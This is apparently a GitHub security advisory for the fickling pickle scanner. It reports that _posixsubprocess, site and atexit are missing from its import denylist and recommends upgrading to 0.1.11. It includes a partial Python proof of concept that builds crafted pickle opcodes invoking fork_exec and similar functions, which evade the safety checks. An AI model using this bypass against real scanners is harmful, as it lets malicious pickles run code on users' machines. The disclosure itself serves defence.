GitHub advisory · PyPI
Fickling safety checks can miss dangerous standard-library imports
Description
The fix adds _posixsubprocess, site and atexit to the blocklist (https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af).
_posixsubprocess, site, and atexit are missing from UNSAFE_IMPORTS in fickle.py. This shares the same root cause as CVE-2026-22607 and GHSA-5cxw-w2xg-2m8h.
_posixsubprocess.fork_exec: C-level process spawner. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.10.
OvertlyBadEvals skips them because they're in likely_safe_imports (stdlib). UnsafeImports doesn't catch them because they're not in the denylist. SETITEMS pattern defeats UnusedVariables.
PoC (tested against 0.1.10 from PyPI):
#!/usr/bin/env python3
import sys
from fickling.analysis import check_safety from fickling.fickle import UNSAFE_IMPORTS, Pickled import fickling.fickle as op
BYPASS_TARGETS = [ { "module": "_posixsubprocess", "function": "fork_exec", "impact": "C-level fork/exec — spawns arbitrary child processes", }, { "module": "site", "function": "execsitecustomize", "impact": "Executes arbitrary site customization code at interpreter startup", }, { "module": "atexit", "function": "_run_exitfuncs", "impact": "Triggers all registered atexit callbacks", }, ]
def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("/etc/passwd"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("init"), op.ShortBinUnicode("x"), op.SetItem(), op.Mark(), op.ShortBinUnicode("trace"), op.BinGet(0), op.SetItems(), op.Stop(), ])
def main(): print(f"Fickling Safety Bypass PoC") print(f"UNSAFE_IMPORTS denylist…
Manual fix · PyPI
pip install --upgrade "fickling>=0.1.11"Sources